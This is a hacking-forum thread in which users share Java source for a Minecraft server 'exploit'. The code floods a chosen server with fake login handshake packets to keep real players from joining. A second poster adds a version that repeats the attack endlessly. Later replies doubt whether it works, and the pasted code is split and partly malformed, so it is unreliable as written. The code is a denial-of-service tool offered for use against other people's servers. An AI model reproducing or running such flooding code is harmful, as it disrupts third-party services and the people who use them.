

Forum:[Hack Forums](#)

Thread: [Minecraft Server Exploit\[RELEASE\]\[SOURCE\]](#)

M?riju?n? - February 17, 2012, 11:08 am

Ok, so I found this exploit around 5 months ago. I guess you could say it is big, I have not done to much testing on it.

Pretty much what it does is it "fills" up the server with fake bots for around 30 seconds. You can keep doing it over and over and I guess you could edit the source to make it keep filling the server. So you can block servers from being joined by others.

Also heres a picture of what it does to servers:

Thankyou for reading, I just wanted to share this find ^_^
even though I found it like 5 months ago...

SOURCE:

```
Code import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
```

```
public class Main {
    public Main() {
        InputStream is = System.in;
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader br = new BufferedReader(isr);
        String IP = null;
        int PORT = 0;
        try {
            System.out.println("Please enter the IP of the server you would like to exploit");
            IP = br.readLine();
            System.out.println("Please enter the PORT of the server");
            PORT = Integer.parseInt(br.readLine());
        } catch (Exception ex) {
            ex.printStackTrace();
        }

        int count = 0;
        while (count != 250) {
            try {
                Socket sock = new Socket(IP, PORT);
                DataOutputStream dos = new DataOutputStream(sock.getOutputStream());
                dos.write(2);
                dos.writeShort(5);
            }
        }
    }
}
```

```

        dos.writeChars("Notch");
    } catch (Exception ex) {ex.printStackTrace();}
    count++;
}
System.out.println("No one will be able to join that server for 15-30 seconds now!");
}

public static void main(String args[]) {
    new Main();
}
}

```

logicx - February 17, 2012, 11:36 am

haha, that's awesome. I edited the code a tiny bit to make it attack constantly. Seems to work great so far.. Here is what I changed it to.

```

Code import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;

public class Main {
    String IP = null;
    int PORT = 0;
    public Main() {
        InputStream is = System.in;
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader br = new BufferedReader(isr);

        try {
            System.out.println("Please enter the IP of the server you would like to exploit");
            IP = br.readLine();
            System.out.println("Please enter the PORT of the server");
            PORT = Integer.parseInt(br.readLine());
        } catch (Exception ex) {
            ex.printStackTrace();
        }
        attack();

    }

    public void attack() {
        int count = 0;
        while (count != 250) {
            try {
                Socket sock = new Socket(IP, PORT);
                DataOutputStream dos = new DataOutputStream(sock.getOutputStream());
                dos.write(2);
                dos.writeShort(5);
                dos.writeChars("Notch");
            } catch (Exception ex) {ex.printStackTrace();}
            count++;
        }
    }
}

```

```

    }
    count = 0;
    System.out.println("No one will be able to join that server for 15-30 seconds now!");
    attack();
    }

    public static void main(String args[]) {
        new Main();
    }
}

```

Gaming Guru - February 17, 2012, 11:47 am

cool nice find man i might test it

goood work

broseidon - February 17, 2012, 2:51 pm

Sorry, but could someone compile this into a .class for me? I don't have jdk installed atm.

gotoel - February 17, 2012, 6:29 pm

It seems like it only stops the person who's sending the attack from joining.

Coffee™ - September 10, 2013, 8:40 am

how does i use it?? where i add it?

Kawop - September 10, 2013, 9:19 am

It's just local-side sorry to annoy you but it's simply like when you disconnect/connect quickly ?

vitafortis - September 10, 2013, 9:25 am

OP, what you found isn't an exploit or a bug, but rather just a manipulation of the connection count. It's the same principle as a DDOS attack - You flood it full of requests so it can't properly process the real ones.

Cheers.

Sparta. - September 10, 2013, 1:30 pm

(Sep 10, 2013 09:25 AM)vitafortis Wrote: [\[CITE\]](#) OP, what you found isn't an exploit or a bug, but rather just a manipulation of the connection count. It's the same principle as a DDOS attack - You flood it full of requests so it can't properly process the real ones.

Cheers.

You realize this was 1 year ago? ?

And no, it's not a DDOS attack. It's an exploit. You are exploiting by using packets to fake a user joining the server. Sure, it can be called a DDOS attack, but it's still an exploit.

vitafortis - September 10, 2013, 1:42 pm

(Sep 10, 2013 01:30 PM)Sparta. Wrote: [\[CITE\]](#) You realize this was 1 year ago? ?

And no, it's not a DDOS attack. It's an exploit. You are exploiting by using packets to fake a user joining the server. Sure, it can be called a DDOS attack, but it's still an exploit.

Just did xD

It's not a DDOS attack, I said it represents a similar concept. And the term exploit means take

advantage of something, which it isn't. It's just emulating a large number of connections :P

Sparta. - *September 10, 2013, 1:47 pm*

(Sep 10, 2013 01:42 PM)vitafortis Wrote: [\[CITE\]](#) Just did xD

It's not a DDOS attack, I said it represents a similar concept. And the term exploit means take advantage of something, which it isn't. It's just emulating a large number of connections :P
Fuck you, you're a noob. Shut the fuck up.

Haha. Just kidding. I (don't) love you.

OT: I think it's time for someone to close this thread before more members decide to think this 'exploit' still is available to use ?

JavaProphet - *September 10, 2013, 2:38 pm*

I'm fairly certain this is actually the minecraft server blocking you since you started/sent invalid data. It is simply a device to make spambots & ddos(I think) tools harder to use.